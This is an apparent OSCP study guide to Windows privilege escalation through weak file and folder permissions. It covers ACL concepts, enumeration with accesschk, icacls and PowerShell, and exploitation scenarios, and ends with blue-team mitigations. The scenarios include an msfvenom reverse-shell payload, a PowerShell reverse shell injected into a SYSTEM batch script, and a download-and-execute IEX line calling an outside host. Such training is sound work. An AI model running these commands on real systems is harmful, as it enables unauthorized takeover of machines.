Weak File and Folder Permissions
Overview
Weak file and folder permissions are one of the most common privilege escalation vectors on Windows systems. Misconfigured Access Control Lists (ACLs) allow low-privileged users to modify, replace, or delete sensitive files — including service binaries, configuration files, scripts, and system executables. This technique is reliable, well-understood, and appears in a significant percentage of OSCP exam machines.
Unlike more exotic techniques, weak permissions require no special tools to enumerate (built-in icacls works) and no complex exploitation (often just a file copy). This makes it both a beginner-friendly and exam-critical technique.
Windows File Permissions Model
Core Concepts: ACLs, DACLs, SACLs, and ACEs
Understanding the Windows permissions model is essential for effective enumeration:
| Term | Full Name | Purpose |
|---|---|---|
| ACL | Access Control List | The overall permission structure on an object |
| DACL | Discretionary ACL | Controls who can access the object and what they can do |
| SACL | System ACL | Controls auditing — what access events are logged |
| ACE | Access Control Entry | A single rule within a DACL (e.g., “Users can Read”) |
Every file and folder in NTFS has a DACL. The DACL is an ordered list of ACEs. When access is requested, Windows evaluates the ACEs in order and stops at the first matching ACE:
Access Request → Evaluate ACE 1 → Allow? → Grant Access
↓ No match
Evaluate ACE 2 → Deny? → Deny Access
↓ No match
Evaluate ACE 3 → Allow? → Grant Access
↓ ...
End of list → Default: Deny
Critical rule: The first matching ACE wins. A Deny ACE before an Allow ACE will block access even if a later ACE grants it.
Permission Inheritance
Most files and folders inherit permissions from their parent directory:
C:\ (root)
├── Program Files\ (inherited from C:\)
│ ├── App\ (inherited from Program Files)
│ │ ├── app.exe (inherited from App)
│ │ └── config.ini (inherited from App)
│ └── OtherApp\ (inherited from Program Files)
└── Windows\ (explicit permissions, NOT inherited)
Inheritance behavior:
- When a folder’s permissions are set, new files/folders inside inherit those permissions
- Explicit permissions on a child override inherited permissions
- Breaking inheritance creates explicit-only permissions on that object
- This is where vulnerabilities often arise: An admin sets permissions on a parent folder, and a subfolder inherits them — but the subfolder contains sensitive files that should have stricter permissions
Common Permission Rights and Their Meaning
| Right | Hex Value | Exploitation Relevance |
|---|---|---|
| Full Control | 0x001F01FF |
Can do anything — replace files, change permissions, delete |
| Modify | 0x000301F3 |
Can read, write, execute, and delete — sufficient for most attacks |
| Write | 0x000200E8 |
Can create files, write data, append data — can replace files |
| Write DAC | 0x00040000 |
Can change the ACL itself — effectively grants Full Control |
| Write Owner | 0x00080000 |
Can change the owner — then grant self Full Control |
| Special Permissions | Various | May include dangerous rights like TakeOwnership, Delete |
The most dangerous “special” permissions:
| Special Permission | What It Allows | Attack Impact |
|---|---|---|
| Write DAC | Modify the ACL | Grant yourself Full Control on any file |
| Write Owner | Change file ownership | Take ownership, then grant Full Control |
| Delete | Delete the file | Cause DoS or force re-creation with your content |
| Take Ownership | Become the file owner | Same as Write Owner |
Full Enumeration
Method 1: AccessChk (Sysinternals) — Fastest for Broad Scans
AccessChk is the fastest tool for scanning large directory trees. Upload accesschk.exe to the target first.
# ============================================
# AccessChk Commands for Permission Scanning
# ============================================
# Check C:\ drive for files/dirs writable by 'Users' group
# -u: check files
# -w: check for write access
# -d: check directories
# -q: quiet mode (only show writable items)
# -s: recurse into subdirectories
accesschk.exe -uwdqs Users C:\ /accepteula
# Check C:\ drive for files/dirs writable by 'Everyone'
accesschk.exe -uwdqs Everyone C:\ /accepteula
# Check specific directories (faster, more targeted)
accesschk.exe -uwdqs Users "C:\Program Files" /accepteula
accesschk.exe -uwdqs Everyone "C:\Program Files" /accepteula
accesschk.exe -uwdqs Users "C:\Program Files (x86)" /accepteula
accesschk.exe -uwdqs Users "C:\inetpub" /accepteula
# Check services with weak permissions
accesschk.exe -uwcqv Users * /accepteula
# Check registry keys with weak permissions
accesschk.exe -kvw Users HKLM /accepteula
Sample output:
C:\Program Files\SomeApp\config.ini RWNT AUTHORITY\Users
C:\Program Files\SomeApp\update.bat RWNT AUTHORITY\Users
C:\inetpub\wwwroot\web.config RWNT AUTHORITY\Users
C:\Program Files (x86)\LegacyApp\ RWEveryone
Understanding the flags:
-u = check files (user objects)
-w = check for write access specifically
-d = recurse into directories
-q = quiet mode (only output items with matching permissions)
-s = recurse subdirectories
-v = verbose
-k = check registry keys
Method 2: PowerShell Recursive Permission Check
This method requires no external tools and provides detailed output:
# ============================================
# PowerShell: Check Writable Files in Program Files
# ============================================
# Scan C:\Program Files for writable files
Get-ChildItem "C:\Program Files\" -Recurse -File -ErrorAction SilentlyContinue |
ForEach-Object {
$file = $_
$acl = Get-Acl $file.FullName
foreach ($rule in $acl.Access) {
$identity = $rule.IdentityReference.ToString()
# Check for low-privilege identities
if ($identity -like "*Users*" -or
$identity -like "*Everyone*" -or
$identity -like "*BUILTIN\Users*" -or
$identity -like "*Authenticated Users*" -or
$identity -like "*INTERACTIVE*") {
# Check for dangerous permissions
$rights = $rule.FileSystemRights.ToString()
if ($rights -like "*Write*" -or
$rights -like "*Modify*" -or
$rights -like "*FullControl*" -or
$rights -like "*WriteDAC*" -or
$rights -like "*WriteOwner*") {
Write-Host "[+] Writable File Found!" -ForegroundColor Red
Write-Host " File : $($file.FullName)" -ForegroundColor Red
Write-Host " Identity : $identity" -ForegroundColor Red
Write-Host " Rights : $rights" -ForegroundColor Red
Write-Host " Inherited: $($rule.IsInherited)" -ForegroundColor Red
Write-Host ""
}
}
}
}
Optimized version for speed (check only specific file types):
# Check only executable and script files (most dangerous)
$extensions = @('.exe', '.bat', '.cmd', '.ps1', '.vbs', '.wsf', '.msi', '.config', '.xml', '.ini')
Get-ChildItem "C:\Program Files\","C:\Program Files (x86)\" -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.PSIsContainer -eq $false -and $extensions.Contains($_.Extension.ToLower()) } |
ForEach-Object {
$acl = Get-Acl $_.FullName -ErrorAction SilentlyContinue
if ($acl) {
$dangerous = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
($_.FileSystemRights -match "Write|Modify|FullControl|WriteDAC|WriteOwner")
}
if ($dangerous) {
Write-Host "[!] $($_.FullName) - $($_.Extension)" -ForegroundColor Yellow
foreach ($d in $dangerous) {
Write-Host " -> $($d.IdentityReference): $($d.FileSystemRights)" -ForegroundColor Yellow
}
}
}
}
Method 3: icacls — Detailed Permission View
icacls is built into Windows and provides the most detailed permission output:
# Check permissions on a specific file
icacls "C:\Program Files\SomeApp\app.exe"
# Check permissions on a directory (no recursion)
icacls "C:\Program Files\SomeApp\"
# Check permissions recursively
icacls "C:\Program Files\SomeApp\" /t
# Check only files matching a pattern
icacls "C:\Program Files\*.exe"
# Output to file for review
icacls "C:\Program Files\SomeApp\" /t > permissions.txt
Understanding icacls output:
C:\Program Files\SomeApp\app.exe
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
BUILTIN\Users:(OI)(CI)(M) <-- MODIFY access for Users!
AUTHENTICATED USERS:(OI)(CI)(RX)
# Legend:
# (F) = Full Control
# (M) = Modify
# (W) = Write
# (R) = Read
# (RX) = Read & Execute
# (OI) = Object Inherit (applies to files in folder)
# (CI) = Container Inherit (applies to subfolders)
# (OI)(CI)(F) = Full Control inherited by all contents
Method 4: PowerUp’s Get-ModifiableFile
# Check all modifiable files
Get-ModifiableFile -Path "C:\Program Files\"
# Check specific path
Get-ModifiableFile -Path "C:\inetpub\"
# Check for modifiable PATH directories
Get-ModifiablePath
Common Targets and Why They Matter
Priority Target Directories
| Directory | Why It’s a Target | What to Look For |
|---|---|---|
C:\Windows\Temp\ |
Services and installers often drop files here; sometimes writable by users | Writable executables, scripts, config files |
C:\Program Files\ |
Contains service binaries, application executables | Writable .exe, .bat, .config files |
C:\Program Files (x86)\ |
32-bit application binaries | Same as above |
C:\inetpub\ |
IIS web files, configs, logs | Writable web.config, applicationHost.config, scripts |
C:\Windows\System32\ |
System binaries (rarely writable, but check) | Writable DLLs, executables |
C:\Windows\SysWOW64\ |
32-bit system binaries | Writable DLLs for 32-bit processes |
C:\Users\*\Documents\ |
User documents, scripts, configs | Scripts that run as other users, shared configs |
C:\Users\Public\ |
Public/shared user area | Writable scripts, shortcuts, executables |
C:\Scripts\ or C:\Tools\ |
Custom admin directories | Often have overly permissive ACLs |
C:\Backup\ or C:\Backups\ |
Backup files | Writable backup scripts, config files |
Interesting File Types to Prioritize
When scanning for writable files, prioritize these extensions:
| Extension | File Type | Exploitation Potential |
|---|---|---|
.exe |
Executable | Replace with reverse shell |
.bat / .cmd |
Batch script | Inject commands |
.ps1 |
PowerShell script | Inject commands |
.vbs / .wsf |
VBScript | Inject commands |
.msi |
MSI installer | Replace or create malicious MSI |
.config |
.NET config | Modify app behavior, add connections |
.xml |
XML config | Modify settings, inject data |
.ini |
INI config | Modify application settings |
.json |
JSON config | Modify settings |
.yaml / .yml |
YAML config | Modify settings (Docker, Ansible) |
.toml |
TOML config | Modify settings |
.env |
Environment variables | Inject credentials |
.bak |
Backup file | May contain credentials, can be restored |
.old |
Old version | May contain credentials, can be restored |
.log |
Log file | May contain credentials, sometimes writable |
.txt |
Text file | May contain credentials or instructions |
.reg |
Registry script | Can modify registry on execution |
.lnk |
Shortcut | Can be modified to launch payload |
Exploitation Scenarios
Scenario 1: Replacing a Service Binary
Finding: C:\Program Files\LegacyApp\service.exe has Modify permissions for BUILTIN\Users. The service runs as SYSTEM.
# Step 1: Verify the service details
sc qc LegacyService
# Note: binPath= C:\Program Files\LegacyApp\service.exe
# StartName: LocalSystem
# Step 2: Verify write access
icacls "C:\Program Files\LegacyApp\service.exe"
# Confirms: BUILTIN\Users:(M)
# Step 3: Create malicious binary
# On attacker machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o service.exe
# Step 4: Upload to target
# Via HTTP or other method
# Step 5: Replace the binary
copy "C:\Users\jdoe\AppData\Local\Temp\service.exe" "C:\Program Files\LegacyApp\service.exe"
# Step 6: Restart the service
sc restart LegacyService
# or
net stop LegacyService
net start LegacyService
# Step 7: Catch the SYSTEM shell on your listener
Scenario 2: Modifying a Configuration File
Finding: C:\inetpub\wwwroot\web.config is writable by Users. The web app adds users to a database.
# Step 1: Read the current config
type "C:\inetpub\wwwroot\web.config"
# Step 2: Modify to add a backdoor
# Example: Add a connection string or modify app settings
# Or: Inject a command into a config that gets processed
# For IIS, you can modify applicationHost.config:
# Add a new app pool with elevated permissions
# Or modify existing app pool identity
# Step 3: The next time the app reads the config, your changes take effect
Scenario 3: Injecting Commands into a Script
Finding: C:\Scripts\backup.bat is writable and runs as SYSTEM via scheduled task.
# Step 1: Read the current script
type "C:\Scripts\backup.bat"
# Current content:
# @echo off
# robocopy C:\Data \\BackupServer\Share /MIR
# exit
# Step 2: Inject a reverse shell command
# Add a line before 'exit':
echo @echo off >> "C:\Scripts\backup.bat"
echo robocopy C:\Data \\BackupServer\Share /MIR >> "C:\Scripts\backup.bat"
echo powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',4443);..." >> "C:\Scripts\backup.bat"
echo exit >> "C:\Scripts\backup.bat"
# OR simply append before the exit:
echo powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')" >> "C:\Scripts\backup.bat"
# Step 3: Wait for the scheduled task to execute
# Or force it: schtasks /run /tn "BackupTask"
Scenario 4: Overwriting a Backup File
Finding: C:\Backups\database.bak is writable. The backup restoration process runs as a privileged account.
# Step 1: Create a malicious backup file
# This depends on the backup format and restoration process
# For SQL Server backups, you can create a backup that executes commands
# during restoration using xp_cmdshell
# Step 2: Replace the backup file
copy "C:\temp\malicious.bak" "C:\Backups\database.bak"
# Step 3: Wait for the backup restoration process to run
# The restoration will execute your embedded commands
Scenario 5: Abusing Write DAC / Write Owner
Finding: A file has Write DAC or Write Owner permission for your user.
# If you have Write DAC:
# 1. Change the ACL to grant yourself Full Control
# 2. Then modify/replace the file
# Using icacls to grant yourself Full Control:
icacls "C:\Program Files\SomeApp\app.exe" /grant Everyone:F
# If you have Write Owner:
# 1. Take ownership of the file
# 2. Grant yourself Full Control
# 3. Modify/replace the file
# Using PowerShell:
$acl = Get-Acl "C:\Program Files\SomeApp\app.exe"
$acl.SetOwner([System.Security.Principal.NTAccount] "jdoe")
Set-Acl "C:\Program Files\SomeApp\app.exe" $acl
icacls "C:\Program Files\SomeApp\app.exe" /grant jdoe:F
Mermaid: Permission-Based Attack Flow
graph TD
A[Start: Low Priv Shell] --> B[Upload accesschk.exe]
B --> C[Run accesschk -uwdqs Users C:\]
C --> D{Writable Files Found?}
D -->|No| E[Run accesschk -uwdqs Everyone C:\]
E --> F{Writable Files Found?}
F -->|No| G[Use PowerShell to scan]
G --> H[Get-ChildItem + Get-Acl]
F -->|Yes| I[Analyze Findings]
D -->|Yes| I
I --> J{File Type?}
J -->|Executable .exe| K[Replace with reverse shell]
J -->|Script .bat/.ps1/.vbs| L[Inject commands]
J -->|Config .config/.xml/.ini| M[Modify configuration]
J -->|Service binary| N[Replace + restart service]
J -->|Write DAC/Owner| O[Change ACL + exploit]
K --> P[Trigger execution]
L --> P
M --> Q[Wait for config reload]
N --> R[sc restart service_name]
O --> K
P --> S[Receive elevated shell]
Q --> S
R --> S
graph TD
subgraph Enum["Enumeration Phase"]
A1["accesschk.exe -uwdqs Users C:\"] --> A2["accesschk.exe -uwdqs Everyone C:\"]
A2 --> A3["icacls on specific targets"]
A3 --> A4["PowerUp Get-ModifiableFile"]
end
subgraph Analyze["Analysis Phase"]
B1["Is file an executable?"] --> B2["What service/task uses it?"]
B2 --> B3["What account runs it?"]
B3 --> B4["Can we trigger execution?"]
end
subgraph Exploit["Exploitation Phase"]
C1["Create payload"] --> C2["Upload to target"]
C2 --> C3["Replace/modify file"]
C3 --> C4["Trigger execution"]
C4 --> C5["Catch shell"]
end
Enum --> Analyze --> Exploit
Weak Permissions Checklist
WEAK PERMISSIONS ENUMERATION CHECKLIST
=======================================
PHASE 1: BROAD SCAN
[ ] 1. Upload accesschk.exe to target
[ ] 2. Run: accesschk.exe -uwdqs Users C:\ /accepteula
[ ] 3. Run: accesschk.exe -uwdqs Everyone C:\ /accepteula
[ ] 4. Run: accesschk.exe -uwcqv Users * /accepteula (services)
[ ] 5. Run: accesschk.exe -kvw Users HKLM /accepteula (registry)
PHASE 2: TARGETED SCAN
[ ] 6. Check C:\Program Files\ recursively with PowerShell
[ ] 7. Check C:\Program Files (x86)\ recursively
[ ] 8. Check C:\inetpub\ for IIS misconfigurations
[ ] 9. Check C:\Windows\Temp\ for writable files
[ ] 10. Check user profile directories for shared writable files
[ ] 11. Check custom directories (C:\Scripts\, C:\Tools\, C:\Backups\)
PHASE 3: FILE TYPE PRIORITIZATION
[ ] 12. Look for writable .exe files (highest priority)
[ ] 13. Look for writable .bat/.cmd/.ps1/.vbs scripts
[ ] 14. Look for writable .config/.xml/.ini configuration files
[ ] 15. Look for writable .msi installer files
[ ] 16. Look for files with Write DAC or Write Owner permissions
PHASE 4: EXPLOITATION PLANNING
[ ] 17. For each writable file, identify:
[ ] What process/service uses this file?
[ ] What account runs that process?
[ ] Can we trigger re-execution?
[ ] Is there a scheduled task?
[ ] 18. Prioritize targets running as SYSTEM or Administrator
[ ] 19. Create appropriate payload for the target
[ ] 20. Test exploitation and verify elevated access
OSCP Exam Tips
Priority Level: CRITICAL
Weak file and folder permissions are arguably the single most common privesc vector on the OSCP exam. Every Windows box should be checked for this.
Key Exam Strategies
-
Run accesschk immediately: Within your first few minutes, run both
accesschk.exe -uwdqs Users C:\andaccesschk.exe -uwdqs Everyone C:\. The scan takes 1-2 minutes and often reveals the privesc vector directly. -
Focus on C:\Program Files: This is the #1 location for writable service binaries on OSCP boxes. Pay special attention to any
.exefiles that show up as writable. -
Check for Write DAC and Write Owner: These are “super permissions” that effectively grant Full Control. If you see these, they’re an immediate exploitation path.
-
Don’t ignore scripts: A writable
.bator.ps1file that runs as SYSTEM via scheduled task is just as valuable as a writable.exe. -
Cross-reference with services: When you find a writable executable, immediately check
sc queryandsc qc <service>to see if it’s a service binary. If it is, you have a direct path to SYSTEM. -
Check C:\inetpub thoroughly: If IIS is installed, the
C:\inetpubdirectory and its subdirectories often have weak permissions. Look for writableweb.configfiles, scripts, and application binaries. -
Look for backup directories:
C:\Backups\,C:\Backup\, or similar directories often contain scripts or config files with weak permissions. -
Use icacls for verification: After accesschk finds something, use
icaclson the specific file to confirm the exact permissions before exploiting.
Common OSCP Patterns
| Pattern | Description | Exploitation |
|---|---|---|
| Writable service binary in Program Files | BUILTIN\Users:(M) on .exe |
Replace + restart service |
| Writable batch script in C:\Scripts | Scheduled task runs as SYSTEM | Inject reverse shell |
| Writable config in C:\inetpub | IIS app reads config on request | Modify to add user/inject code |
| Write DAC on system file | Can change ACL | Grant self Full Control, then exploit |
| Writable .msi file | AlwaysInstallElevated may be enabled | Create malicious MSI |
Common Pitfalls
- Replacing the wrong file: Make sure the writable file is actually used by a privileged process. A writable
.exethat nobody calls is useless. - Forgetting to restart the service: After replacing a service binary, you MUST restart the service for the changes to take effect.
- Permission denied on copy: If you can’t overwrite the file despite having write access, check if another process has it open. Try copying to a temp location first, then moving.
- Not checking inheritance: A file might appear writable due to inherited permissions, but the parent folder might have a Deny ACE that blocks actual writes. Test with a real write operation.
Mitigation for Blue Team
- Regular ACL audits: Use AccessChk or custom scripts to scan for writable files in sensitive directories.
- Principle of least privilege: Service binaries should only be writable by SYSTEM and Administrators.
- Disable inheritance on sensitive files: Break inheritance and set explicit restrictive permissions on critical files.
- File Integrity Monitoring (FIM): Use tools like OSQuery or Windows Event Forwarding to detect unauthorized file modifications.
- Application Control: Implement AppLocker or WDAC to prevent unauthorized executables from running.
- Regular permission reviews: Audit
C:\Program Files,C:\inetpub, and custom directories quarterly.